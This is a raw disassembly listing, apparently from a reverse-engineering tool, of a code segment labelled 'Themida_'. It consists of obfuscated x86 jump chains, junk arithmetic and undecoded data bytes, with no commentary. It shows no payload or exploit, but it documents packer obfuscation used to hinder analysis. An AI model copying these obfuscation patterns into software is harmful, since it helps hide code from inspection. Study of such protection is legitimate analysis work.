jmp loc_566D1B
; ---------------------------------------------------------------------------
loc_5635AE: ; CODE XREF: Themida_:0055C5ABj
mov eax, [esp]
add esp, 4
add edx, 0A2030101h
and eax, edx
pop edx
shr eax, 0Eh
jmp loc_55365B
; ---------------------------------------------------------------------------
loc_5635C8: ; CODE XREF: Themida_:00559FAEj
sub ebx, esi
mov esi, [esp]
add esp, 4
push ebx
jmp loc_56228E
; ---------------------------------------------------------------------------
dw 0BE56h
dd 4E2735FFh, 35FDB951h, 0CD894E27h, 0E9F53159h, 925h
; ---------------------------------------------------------------------------
loc_5635EC: ; CODE XREF: Themida_:0055CB56j
push 24C44E63h
pop ecx
jmp loc_5620AA
; ---------------------------------------------------------------------------
db 5Ah
dd 4306E3C1h, 2BE7C381h, 0DF897F4Bh, 190AE95Bh, 0CA81FFFFh
dd 23362600h, 70BCA81h, 4E94366h, 81FFFFA4h, 3575D7EDh
dd 7ED8173h, 5B03736Ah, 0FFEB39E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56362D: ; CODE XREF: Themida_:00557847j
push edi
mov edi, 0AFE5E84h
jmp loc_552D7B
; ---------------------------------------------------------------------------
loc_563638: ; CODE XREF: Themida_:0055E405j
push ebx
mov ebx, 24416AEEh
jmp loc_564AA9
; ---------------------------------------------------------------------------
db 5Bh
dd 8B243487h, 34FF2424h, 2434FF24h, 0F484E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563656: ; CODE XREF: Themida_:0055B3E2j
mov esp, [esp]
jmp loc_55C669
; ---------------------------------------------------------------------------
dw 6855h
dd 7E974C6Ch, 68ED815Dh, 0E97E974Ch, 0FFFF1361h, 4C481h
dd 0E9550000h, 0FFFF49E9h, 8704EB83h, 895C241Ch, 7CBA2414h
dd 81038739h, 0F01DCCE2h, 0D0BE562Dh, 814B957Fh, 2AF6EAh
dd 4B5EE979h, 3C330000h, 29F4E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5636AA: ; CODE XREF: Themida_:00561963j
sub esp, 4
jmp loc_567D17
; ---------------------------------------------------------------------------
loc_5636B5: ; CODE XREF: Themida_:005576D6j
mov eax, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_55F760
; ---------------------------------------------------------------------------
db 57h
dd 0E950E789h, 0FFFF66C2h
; ---------------------------------------------------------------------------
loc_5636CC: ; CODE XREF: Themida_:00566071j
push ebx
push edi
push 5DB5728Ch
pop edi
and edi, 725F1513h
not edi
add edi, 0AF8F69C3h
push edi
mov ebx, [esp]
add esp, 4
pop edi
neg ebx
jmp loc_55ADC6
; ---------------------------------------------------------------------------
dd 0D3C68058h, 2865C580h, 65ED80F5h, 24148B66h, 0FFF83AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563709: ; CODE XREF: Themida_:00563AF4j
push ecx
mov ecx, 649D4CFAh
sub ecx, 775E39A5h
jmp loc_559616
; ---------------------------------------------------------------------------
dw 51B2h
dd 0FF33DDE9h, 0B9E95FFFh
db 0FAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_563727: ; CODE XREF: Themida_:0056359Aj
add esp, 4
jmp loc_567837
; ---------------------------------------------------------------------------
dw 2DBEh
dd 46389E05h, 0EE81DEF7h, 9C554BACh, 59EDC581h, 0C5811853h
dd 7E443C45h, 0ED81F529h, 7E443C45h, 59EDED81h, 815E1853h
dd 0A90298C1h, 81E92920h, 0A90298E9h, 0C335D20h, 240C3124h
dd 5C240C33h, 0FF9748E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563779: ; CODE XREF: Themida_:00553B35j
shr ebx, 6
shr ebx, 4
neg ebx
add ebx, 28A690Eh
mov ecx, ebx
jmp loc_565363
; ---------------------------------------------------------------------------
dw 0D9F7h
dd 0BEE9D9F7h, 81000037h, 0A72ECFEAh, 0E9CA297Ah, 0FFFFC5E8h
; ---------------------------------------------------------------------------
loc_5637A4: ; CODE XREF: Themida_:0055D575j
sub edi, 59F15C58h
jmp loc_5561A0
; ---------------------------------------------------------------------------
db 58h
dd 405h, 736FE900h, 0D3F7FFFFh, 87F3F381h, 0DA018763h
dd 0C6A7E95Bh, 0FD88FFFFh, 0EB88585Bh, 50240C8Bh, 405E089h
dd 5000000h, 4, 0E9240487h, 0FFFEF531h
; ---------------------------------------------------------------------------
loc_5637E8: ; CODE XREF: Themida_:00552C67j
mov eax, 3CFB0206h
sub eax, 0F90BC9C9h
sub esi, 5D907104h
add esi, 1344521Fh
add esi, eax
sub esi, 1344521Fh
jmp loc_5552F7
; ---------------------------------------------------------------------------
db 87h
dd 60E9241Ch, 81FFFF82h, 2E7564EAh, 33F28169h, 167EAE5h
dd 0F69FE9D7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563826: ; CODE XREF: Themida_:0055BDBEj
add esp, 4
jmp loc_560945
; ---------------------------------------------------------------------------
loc_563831: ; CODE XREF: Themida_:0055B296j
add ecx, 0FFFFFFFFh
sub ecx, 0C2C579A8h
jmp loc_559FFF
; ---------------------------------------------------------------------------
loc_56383F: ; CODE XREF: Themida_:0055E9F1j
pop eax
jmp loc_55980F
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 0FF99F7E9h
db 0FFh
byte_56384D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552B3Co
aS4_0 db '$И+4',0
align 2
dw 60E9h
dd 0FFFFFEF3h, 0E95E2434h, 0FFFFA470h
; ---------------------------------------------------------------------------
loc_563864: ; CODE XREF: Themida_:0055C540j
push dword ptr [esp+4]
pop ecx
jmp loc_5640F2
; ---------------------------------------------------------------------------
loc_56386E: ; CODE XREF: Themida_:005591A0j
push 627Ch
mov [esp], ebx
push 5695045Ah
mov ebx, [esp]
jmp loc_560D10
; ---------------------------------------------------------------------------
byte_563883 db 0FFh ; DATA XREF: Themida_:00552A84o
dd 30E94077h
db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56388B: ; CODE XREF: Themida_:005654E2j
shl edx, 4
jmp loc_55953A
; ---------------------------------------------------------------------------
db 5Dh
dd 1C8BD801h, 4C48124h, 55000000h, 0FFBC14E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5638A5: ; CODE XREF: Themida_:005571BDj
pop esp
mov [esp], esi
jmp loc_562AA3
; ---------------------------------------------------------------------------
dw 3C8Bh
dd 4C48324h, 0FFE01BE9h, 535157FFh, 0FFD992E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5638C1: ; CODE XREF: Themida_:00566760j
pop esp
pop ecx
push esi
mov esi, 3754630Ch
shl esi, 2
push ebp
mov ebp, 7EBD2E26h
or ebp, 36D34ADh
sub ebp, 337E3C8h
sub esi, ebp
pop ebp
push eax
jmp loc_553480
; ---------------------------------------------------------------------------
db 0BFh
dd 2C913FF3h, 15FF929h, 3A6AE9D9h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5638F6: ; CODE XREF: Themida_:0055A444j
pop ecx
jmp loc_5532EC
; ---------------------------------------------------------------------------
dd 0C223F281h, 0D3319D2Eh, 9C9E95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56390A: ; CODE XREF: Themida_:00554C31j
dec esi
jmp loc_55E41A
; ---------------------------------------------------------------------------
dd 24048B5Dh, 6604C483h, 66576642h, 0E9507BBFh, 0FFFF929Fh
dword_563924 dd 0E9028F66h, 0FFFEF28Fh ; DATA XREF: Themida_:00552AB0o
; ---------------------------------------------------------------------------
loc_56392C: ; CODE XREF: Themida_:00559DBEj
add eax, 671D18A4h
jmp loc_557C91
; ---------------------------------------------------------------------------
loc_563936: ; CODE XREF: Themida_:005671EAj
pop esi
add eax, edx
push ebp
mov ebp, 0B368D1h
add ebp, 0FFD6A56Dh
sub eax, ebp
pop ebp
jmp loc_5558B0
; ---------------------------------------------------------------------------
db 87h, 2Ch, 24h
dd 240C895Ch, 0BE2B99B9h, 6E9C145h, 0E908E9C1h, 1678h
dd 3E24EA81h, 0D789FFC2h, 0C5E7815Ah, 817EA912h, 5AF2CEEFh
dd 677FE99Ch, 1C89FFFFh, 46824h, 15B0000h, 14875BDAh, 0EC835C24h
dd 846BE904h, 0D9F7FFFFh, 56E9D1F7h, 29FFFFE1h, 243C8BF8h
dd 81E28952h, 4C2h, 5BC4E900h, 0F781FFFFh, 0C65A56F1h
dd 25D7E9h
db 0
; ---------------------------------------------------------------------------
loc_5639BD: ; CODE XREF: Themida_:00559059j
mov edi, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_553A8A
; ---------------------------------------------------------------------------
loc_5639CB: ; CODE XREF: Themida_:0055B531j
xor edi, 2CE63723h
jmp loc_558F98
; ---------------------------------------------------------------------------
a__1s94 db '╬__╢1И94',0
align 10h
dd 2474FF52h, 48F5A04h, 0EC815C24h, 4, 81242489h, 42404h
dd 48F0000h, 24048324h, 139CE904h, 2C89FFFFh, 3B74E924h
dd 0EC20FFFFh, 7686659h, 14896619h, 0E968B224h, 4466h
; ---------------------------------------------------------------------------
loc_563A20: ; CODE XREF: Themida_:0055CC20j
add ebp, esi
mov esi, [esp]
jmp loc_56682E
; ---------------------------------------------------------------------------
loc_563A2A: ; CODE XREF: Themida_:00568117j
push ecx
mov ecx, 4
jmp loc_564A72
; ---------------------------------------------------------------------------
loc_563A35: ; CODE XREF: Themida_:00556B21j
push eax
mov eax, 5BC2098Ah
jmp loc_566F4F
; ---------------------------------------------------------------------------
dd 0B913C281h, 0D0318B64h, 5A2434FFh, 4C481h, 71E90000h
db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563A57: ; CODE XREF: Themida_:00560591j
add eax, ebp
pop ebp
jmp loc_563202
; ---------------------------------------------------------------------------
loc_563A5F: ; CODE XREF: Themida_:00558EACj
pop edx
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
shr ecx, 0
or eax, eax
jz loc_565A5A
push 94Bh
mov [esp], esi
jmp loc_5594B6
; ---------------------------------------------------------------------------
dw 0C131h
dd 8108E9C1h, 0D1255CE1h, 0ADABE957h, 0D2F7FFFFh, 5615EA81h
dd 0B951DA51h, 18D408A3h, 0E959C829h, 0FFFF803Bh
; ---------------------------------------------------------------------------
loc_563AB0: ; CODE XREF: Themida_:0055FCD5j
pop esp
push 44B3h
mov [esp], ebx
mov ebx, 3E3224D3h
and ebx, 2DB1538Dh
and ebx, 39D22D3Bh
sub ebx, 0B9DBB548h
add edx, ebx
jmp loc_562557
; ---------------------------------------------------------------------------
loc_563AD7: ; CODE XREF: Themida_:005644C4j
xor ecx, 1DA21147h
pop eax
pop ebx
jmp loc_55CB95
; ---------------------------------------------------------------------------
dd 0E9602ABDh, 95D1E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563AEE: ; CODE XREF: Themida_:00563244j
mov esi, 2AD6364Eh
push ebx
jmp loc_563709
; ---------------------------------------------------------------------------
aFufbQfFbQS6 db 'fUf│,$}qf^f│ф}q]И6(',0
align 2
loc_563B0E: ; CODE XREF: Themida_:005624C8j
mov edx, 3FD20391h
jmp loc_559894
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5569BE
; ---------------------------------------------------------------------------
dw 0E95Ah
dd 0FFFF0DB7h, 455EF531h, 765CD81h, 0F5816047h, 5AC40A67h
dd 44D6E955h, 0C481FFFFh, 2, 66C50966h, 0F5816658h, 57530F26h
dd 41266866h, 4F665F66h, 0D6C78166h, 0FB89661Bh, 6064E95Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563B6A: ; CODE XREF: Themida_:00567EE1j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_563CBA
; ---------------------------------------------------------------------------
db 58h, 0E9h, 0DFh
dd 51FFFFAAh, 693A31B9h, 5AA4BE73h, 0E6C112E1h, 0F810E906h
db 0FEh, 0FFh
word_563B8E dw 8B66h ; DATA XREF: Themida_:005528E0o
dd 74E9240Ch, 5DFFFFAFh, 0FF7DCDE9h, 0C38143FFh, 2441003h
dd 875BDD01h, 248B242Ch, 2B8E924h, 0C6810000h, 8304A49h
dd 1924EE81h, 0F229DE9Dh, 0F9C7E95Eh, 0C481FFFEh, 4, 483A6853h
dd 8F540000h, 4832404h, 34FF0424h, 241C8B24h, 0FF2496E9h
dd 148B58FFh, 4C48124h, 0E9000000h, 187Bh, 7E78C781h, 0FA017BDCh
dd 83243C8Bh, 0C28304C4h, 24148704h, 0FC0095Ch, 23D884h
dd 4CFB6800h, 14890000h, 4EC8124h, 0E9000000h, 0FFFF289Fh
dd 100AE95Ch
db 2 dup(0)
word_563C2A dw 52ADh ; DATA XREF: Themida_:00552B20o
dd 0D238D6BAh, 8BD02927h, 0C4832414h, 0EFBE5604h, 2D214121h
dd 69B96A12h, 0BD55F029h, 3774C99h, 1BCEBA52h, 7E95968h
dd 8BFFFF15h, 8952241Ch, 0E852E9E2h, 4A4AFFFFh, 8103E2C1h
dd 9E75A9C2h, 4EC8319h, 0E9243C89h, 0FFFF7C23h
; ---------------------------------------------------------------------------
loc_563C78: ; CODE XREF: Themida_:005622D3j
mov ebx, eax
jmp loc_557B83
; ---------------------------------------------------------------------------
db 83h
dd 1C8704EBh, 14895C24h, 46016824h, 24890000h, 24048124h
dd 4, 8324148Bh, 835304C4h, 3C8904ECh, 0C411E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563CAA: ; CODE XREF: Themida_:00558772j
not dl
push ax
mov ah, 0A2h
add dl, ah
pop ax
push ebx
jmp loc_560DBE
; ---------------------------------------------------------------------------
loc_563CBA: ; CODE XREF: Themida_:00563B70j
sub esp, 4
jmp loc_55D162
; ---------------------------------------------------------------------------
dw 0CE01h
dd 0D7CC681h, 34FF0CD4h, 89575924h, 4C781E7h, 83000000h
dd 3C8704C7h, 0D6015C24h, 6CC7BA52h, 0B8E938E4h, 81FFFF17h
dd 0AB04246Ch, 8B6F7175h, 0C4832414h, 0EEBDE904h, 0B450FFFEh
dd 80DCF6C3h, 0CC80A7E4h, 0FED4F6ECh, 22EC80CCh, 8358E300h
dd 48904ECh, 51D88824h, 0CA88C188h, 24048B59h, 81E38953h
dd 4C3h, 4C38100h, 33000000h, 1C31241Ch, 241C3324h, 0E924248Bh
dd 0E3Eh
; ---------------------------------------------------------------------------
loc_563D44: ; CODE XREF: Themida_:00567E98j
pop edi
jmp loc_552BBB
; ---------------------------------------------------------------------------
loc_563D4A: ; CODE XREF: Themida_:0055B754j
add esp, 4
shr eax, 18h
xor eax, ecx
push 42E0h
mov [esp], eax
push 12F5h
mov [esp], eax
push dword ptr [esp+4]
mov eax, [esp]
jmp loc_5647CC
; ---------------------------------------------------------------------------
word_563D6E dw 6664h ; DATA XREF: Themida_:005529E0o
dd 6866028Bh, 89666FF1h, 3CE92404h, 5FFFFEEEh, 2B850h
dd 0C2010000h, 4EC8358h, 3EE5E9h, 47F38100h, 0F7651B3Bh
dd 47EB81DBh, 4B2A411Ch, 2630C381h, 0F3812E7Ch, 16D9D393h
dd 23EDC581h, 0DD29080Eh, 23EDED81h, 815B080Eh, 102486EDh
dd 2434FF18h, 83243C8Bh, 0C48104C4h, 4, 8B242C87h, 8B662424h
dd 50682404h, 89000030h, 0E389241Ch, 28F568h, 24348900h
dd 0E4BA5255h, 4A05C153h, 0D9F7CA87h, 3FE9CA87h
db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563DFF: ; CODE XREF: Themida_:00553ECDj
add esp, 4
and ecx, eax
push dword ptr [esp]
mov eax, [esp]
jmp loc_567DE0
; ---------------------------------------------------------------------------
dw 0BB53h
dd 469B0AEAh, 815BD989h, 672D6FF1h, 0F968E97Ch, 1C87FFFFh
dd 34FF5C24h, 7C2CE924h, 1C89FFFFh, 343BB24h, 0F3810594h
dd 2E2A5230h, 4F45BA52h, 0CE958F5h, 89FFFF6Ch, 0F1FCE9E0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563E52: ; CODE XREF: Themida_:005619D3j
xor eax, ebp
mov ebp, [esp]
add esp, 4
push 3BB5h
mov [esp], ebp
jmp loc_559C77
; ---------------------------------------------------------------------------
dd offset loc_405B66+2
dw 8900h
dd 10BA2414h, 0E95CA671h, 0FFFEEFC7h, 3AE8E955h, 74FF0000h
dd 34FF0424h, 16E95A24h
db 38h, 2 dup(0)
byte_563E8F db 68h ; DATA XREF: Themida_:00552AC0o
dd 22F1h, 3FADE9h, 0C4835A00h, 0D60BE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563EA2: ; CODE XREF: Themida_:00560455j
push ebp
push ebx
pop ebp
pop ebx
jmp loc_557CF7
; ---------------------------------------------------------------------------
byte_563EAB db 66h ; DATA XREF: Themida_:00552970o
dd 6824048Bh, 2837h, 0E9242C89h, 0FFFF6DE3h, 1FC7E281h
dd 80E96DB7h
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_563EC7: ; CODE XREF: Themida_:005569CBj
mov ecx, 3BF236FEh
sub esp, 4
mov [esp], ebx
jmp loc_555CDD
; ---------------------------------------------------------------------------
loc_563EDA: ; CODE XREF: Themida_:00553665j
not dword ptr [esp]
jmp loc_556380
; ---------------------------------------------------------------------------
dw 295Bh
dd 240C8BCEh, 0FFBCA6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563EED: ; CODE XREF: Themida_:00554626j
sub ch, 9Ah
sub ch, bh
add ch, 9Ah
jmp loc_5539C6
; ---------------------------------------------------------------------------
loc_563EFA: ; CODE XREF: Themida_:00567E10j
mov al, bl
pop ebx
jmp loc_56630A
; ---------------------------------------------------------------------------
dw 0E228h
dd 0FEFCB6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563F09: ; CODE XREF: Themida_:00562F09j
shl edx, 8
jmp loc_55EFB6
; ---------------------------------------------------------------------------
db 5Eh, 1, 0E8h
dd 5D2434FFh, 0FF0D3DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563F1D: ; CODE XREF: Themida_:0056032Dj
xor ebx, 21047C51h
push 154Ah
jmp loc_557886
; ---------------------------------------------------------------------------
db 8Bh, 2Ch, 24h
dd 8B04C483h, 0C4812414h, 4, 0FFFEE5E9h
db 0FFh
byte_563F41 db 0F6h, 1Ch, 24h ; DATA XREF: Themida_:00552B54o
dd 0EC71E99Ch, 5D54FFFEh, 0FF9B24E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_563F51: ; CODE XREF: Themida_:005558C7j
push ebx
jmp loc_5600A8
; ---------------------------------------------------------------------------
db 29h
dd 0EC835AD1h, 24348904h, 122E5468h, 0DEF75E7Ah, 9D9EF681h
dd 7E9626Dh, 54FFFF71h, 7C7E9h
db 0
; ---------------------------------------------------------------------------
loc_563F79: ; CODE XREF: Themida_:0055DE1Bj
push dword ptr [esp]
pop edx
add esp, 4
add ecx, 5AB12CC5h
sub ecx, esi
sub ecx, 5AB12CC5h
pop esi
or ecx, 11271486h
not ecx
dec ecx
shl ecx, 8
push ebx
jmp loc_554BC6
; ---------------------------------------------------------------------------
db 0E9h, 15h, 0ECh
dd 8850FFFEh, 0E9D0F6F0h, 2627h, 8904EC83h, 0EC81241Ch
dd 4, 55242489h, 4BDh, 246C0100h, 0D208E904h, 0EFC1FFFFh
dd 0A2C78106h, 1FE7E74h, 0FDA1E9FAh, 0F031FFFFh, 3481505Eh
dd 91744524h, 85E95A63h
db 4Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_563FEF: ; CODE XREF: Themida_:00559C9Aj
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
or eax, eax
jz loc_55ABBA
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp], eax
mov eax, 2A3170EAh
push esi
mov esi, 1393498Ah
jmp loc_565A89
; ---------------------------------------------------------------------------
loc_56401D: ; CODE XREF: Themida_:00563142j
pop eax
add esp, 4
push eax
mov ah, 53h
or cl, ah
mov eax, [esp]
add esp, 4
push eax
mov al, 0B7h
neg al
xor al, 48h
add cl, al
pop eax
inc cl
sub cl, 8Fh
sub al, 9Dh
sub al, 33h
jmp loc_55EC95
; ---------------------------------------------------------------------------
loc_564047: ; CODE XREF: Themida_:00560183j
pop esp
push ebp
jmp loc_567138
; ---------------------------------------------------------------------------
dw 0EE81h
dd 58B578C8h, 7E84BB53h, 0DE297D73h, 71BB535Bh, 0F776BD29h
dd 34F5E9DBh, 5D59FFFFh, 12A5E9h, 19E95F00h, 8BFFFFAFh
dd 0C483241Ch, 24048F04h, 0FF9ABEE9h, 67E957FFh
db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56408B: ; CODE XREF: Themida_:00565344j
mov ecx, 289D338Fh
shl ecx, 7
inc ecx
sub ecx, 4E99C77Dh
push esi
mov esi, ecx
mov edx, esi
pop esi
pop ecx
add eax, edx
pop edx
xchg eax, [esp]
mov esp, [esp]
push edi
mov edi, 1
sub edx, edi
pop edi
push 628Ch
jmp loc_565C2F
; ---------------------------------------------------------------------------
db 68h, 0DCh, 1Eh
dd 4890000h, 2C815624h, 2F2DD924h, 8C8FE933h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5640D2: ; CODE XREF: Themida_:00557B1Bj
mov ebp, esp
add ebp, 4
jmp loc_55903D
; ---------------------------------------------------------------------------
db 83h
dd 1AE904ECh
db 85h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5640E7: ; CODE XREF: Themida_:0055AE07j
xchg esi, [esp]
mov esp, [esp]
jmp loc_557B15
; ---------------------------------------------------------------------------
loc_5640F2: ; CODE XREF: Themida_:00563869j
pop dword ptr [esp]
pop esp
jmp loc_5624F5
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832404h, 51D7F604h, 0E953FD88h, 9BCh, 1A385705h
dd 0E9F00121h, 0FFFFF22Fh
; ---------------------------------------------------------------------------
loc_564118: ; CODE XREF: Themida_:00566BA4j
sub ebp, 7F7CFF5Ch
add eax, ebp
mov ebp, [esp]
jmp loc_564A27
; ---------------------------------------------------------------------------
loc_564128: ; CODE XREF: Themida_:0056636Ej
pop ebx
xor eax, 69A72B63h
sub eax, 344E876Eh
sub esp, 4
mov [esp], ebx
mov ebx, 20h
push esi
push 368670E8h
pop esi
add ebx, esi
pop esi
push edx
mov edx, 2CFE432Eh
inc edx
shl edx, 5
jmp loc_56539B
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483240Ch, 2EC8304h, 24148966h, 147568h, 241C8900h
dd 0EB8063B3h, 0D4B65213h, 0FF3387E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564179: ; CODE XREF: Themida_:005620D1j
push ecx
mov ecx, 71C044F0h
add [esp+4], ecx
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
mov eax, [esp]
push eax
push esp
jmp loc_562B00
; ---------------------------------------------------------------------------
loc_564196: ; CODE XREF: Themida_:00564628j
push dword ptr [esp]
jmp loc_5601AB
; ---------------------------------------------------------------------------
dw 0E589h
dd 0FF8971E9h, 0F74B43FFh, 10EB81DBh, 535AA70Eh, 95242C81h
dd 5E00B20Eh, 0E95C681h, 0E95B00B2h, 0FFFF169Bh, 362D68h
dd 24148900h, 0C281E289h, 4, 4C281h, 0EC810000h, 4, 0FF241489h
dd 5A042474h, 8B24048Fh, 0C8E92424h
db 0E9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5641F3: ; CODE XREF: Themida_:0055D649j
add ebp, esi
sub ebp, 635C42A6h
pop esi
add ebp, 4
push ebp
jmp loc_56736A
; ---------------------------------------------------------------------------
loc_564208: ; CODE XREF: Themida_:00557758j
push esi
mov esi, 4
jmp loc_558856
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4832404h, 4815504h, 0BF53A024h, 24348B43h, 4C481h
dd 0EE810000h, 43BF53A0h, 0FF135AE9h, 575E68FFh, 0E90000h
dd 0B8FFFFDAh, 241A4C0Eh, 10063105h, 0A374E926h, 0EC83FFFFh
dd 0E4F4E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_564256: ; CODE XREF: Themida_:005659E6j
push 7D085CDFh
pop ecx
add ebx, 57F613F9h
add ebx, ecx
sub ebx, 57F613F9h
jmp loc_55E128
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812414h, 4, 8033B450h, 0EC80EAC4h, 58E1305Ch, 0FFEDB5E9h
dd 59CA00FFh, 0C0C9B050h, 0D0F604E0h, 592C6004h, 8858C200h
dd 0F1805AD1h, 59CA888Dh, 0BEEA80h, 0FBE953EAh, 0C0000027h
dd 0C0FE08E8h, 0C0FEC62Ch, 2EC81h, 89660000h, 8850241Ch
dd 58E788CCh, 5FF4E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5642CE: ; CODE XREF: Themida_:00556915j
jmp loc_552BBB
; ---------------------------------------------------------------------------
db 29h
dd 0C6015BDEh, 0FF5E1AE9h, 545CBFFFh, 0C9E93B81h, 81FFFEEEh
dd 57CB2434h, 0AE9201Bh, 89FFFFC1h, 0C6015AD0h, 5585E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5642FE: ; CODE XREF: Themida_:0055E24Aj
pop ebp
jmp loc_55AE35
; ---------------------------------------------------------------------------
loc_564304: ; CODE XREF: Themida_:0055581Fj
push edi
jmp loc_558244
; ---------------------------------------------------------------------------
loc_56430A: ; CODE XREF: Themida_:00554335j
add esi, edx
jmp loc_5584FF
; ---------------------------------------------------------------------------
db 81h, 0C1h, 4
dd 87000000h, 685C240Ch, 3AE57684h, 0AF29E959h, 0EC83FFFFh
dd 64C9E904h, 0B60FFFFFh, 776866C0h, 4896611h, 0E87DE924h
dd 74FFFFFEh, 0F9E90424h, 89000036h, 0D189240Ch, 5C1968h
dd 240C8900h, 0E4240481h, 8B22185Ah, 0C483241Ch, 0E4EB8104h
dd 8B22185Ah, 0C483240Ch, 24148B04h, 0E904C483h, 0FFFEE843h
dd 0E88852B5h, 8E80E959h, 0EAC1FFFFh, 64E28105h, 8134287Fh
dd 80E251C2h, 8BD63135h, 0C4812414h, 4, 569ABE56h, 0D7E94067h
dd 8BFFFF04h, 0C4832434h, 24048F04h, 0E924248Bh, 0FFFFC0C0h
dd 42474FFh, 81242C8Bh, 4C4h, 5909E900h, 0E089FFFFh, 405h
dd 40500h, 0FF500000h, 58042474h, 0E924048Fh, 0FFFF5B02h
; ---------------------------------------------------------------------------
loc_5643E4: ; CODE XREF: Themida_:00558E71j
add edx, 4
jmp loc_566065
; ---------------------------------------------------------------------------
loc_5643EF: ; CODE XREF: Themida_:0055F49Ej
sub esp, 4
mov [esp], edx
jmp loc_5553C6
; ---------------------------------------------------------------------------
loc_5643FA: ; CODE XREF: Themida_:0055EB46j
add al, 0B6h
add al, dh
sub al, 0B6h
push ecx
mov cl, 9
sub cl, 23h
jmp loc_559C90
; ---------------------------------------------------------------------------
db 0F7h
dd 315A2414h, 0E9CA31D1h, 0FFFFADEBh, 4C381h, 0C3830000h
dd 241C8704h, 7268685Ch, 0C890000h, 14E3E924h, 0D9010000h
dd 0FFCF015Bh, 68592434h, 4A9Ah, 54243C89h, 4C7815Fh, 52000000h
dd 4BAh, 11FE900h
db 2 dup(0)
word_564456 dw 2CACh ; DATA XREF: Themida_:00552A80o
dd 42004F9h, 2CD80092h, 4EC8392h, 0B3241C89h, 7DEB809Dh
dd 0D8288004h, 5072B753h, 0E0D024B0h, 7DE90D24h, 81FFFEEFh
dd 0E25C0CF3h, 8BDE0145h, 0C481241Ch, 4, 1DDABD55h, 0C5813D92h
dd 0DDCB46CCh, 2393E9h, 4BA00h, 0C3810000h, 3D5510C3h
dd 5EA9EB81h, 8FE9524Dh
db 64h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5644B7: ; CODE XREF: Themida_:00566243j
xor dword ptr [esp], 1DA21147h
mov ecx, [esp]
add esp, 4
jmp loc_563AD7
; ---------------------------------------------------------------------------
db 54h, 8Fh, 4
dd 24048324h, 24048B04h, 504C483h, 4, 8304C083h, 48904ECh
dd 2474FF24h, 48F5804h, 0C0DAE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5644F2: ; CODE XREF: Themida_:00558CCCj
add eax, edx
jmp loc_55B80A
; ---------------------------------------------------------------------------
db 55h, 0BDh, 0A9h
dd 29481330h, 0BE565DEEh, 4F696718h, 1376CE81h, 8AE90A8Fh
dd 66FFFFC5h, 0F766D9F7h, 2CB5E9D9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56451E: ; CODE XREF: Themida_:0055BAD0j
mov dl, ch
pop cx
jmp loc_55C6C5
; ---------------------------------------------------------------------------
db 81h
dd 35EC9AC1h, 11F6BD99h, 0CD0144C8h, 53240C8Bh, 0FAE9E389h
dd 2DFFFF2Eh, 64E23812h, 385852Dh, 58C2297Ah, 0C104E2C1h
dd 0C28103EAh, 0F4564A74h, 835AD001h, 4EE904E8h, 50FFFF01h
dd 0FFE087E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_564569: ; CODE XREF: Themida_:00556194j
push ebp
mov ebp, 749B7B97h
dec ebp
jmp loc_559237
; ---------------------------------------------------------------------------
db 1, 0D7h, 0E9h
dd 3702h
; ---------------------------------------------------------------------------
loc_56457C: ; CODE XREF: Themida_:005634ADj
pop eax
add esp, 4
pop ebx
push 1EE8h
jmp loc_5650B8
; ---------------------------------------------------------------------------
db 0BAh
dd 4, 131DE9h, 24C28100h, 16A8593h, 24148BD3h, 8104C483h
dd 2E371BC3h, 81D3294Bh, 2E371BEBh, 0A2EB814Bh, 5A11BB27h
dd 643FBA52h, 0EAC15E6Dh, 0F336E904h, 0E7C1FFFFh, 1CBA5202h
dd 0E9E375DBh, 0D75h, 2B55EF81h, 815A7198h, 3F7772EFh
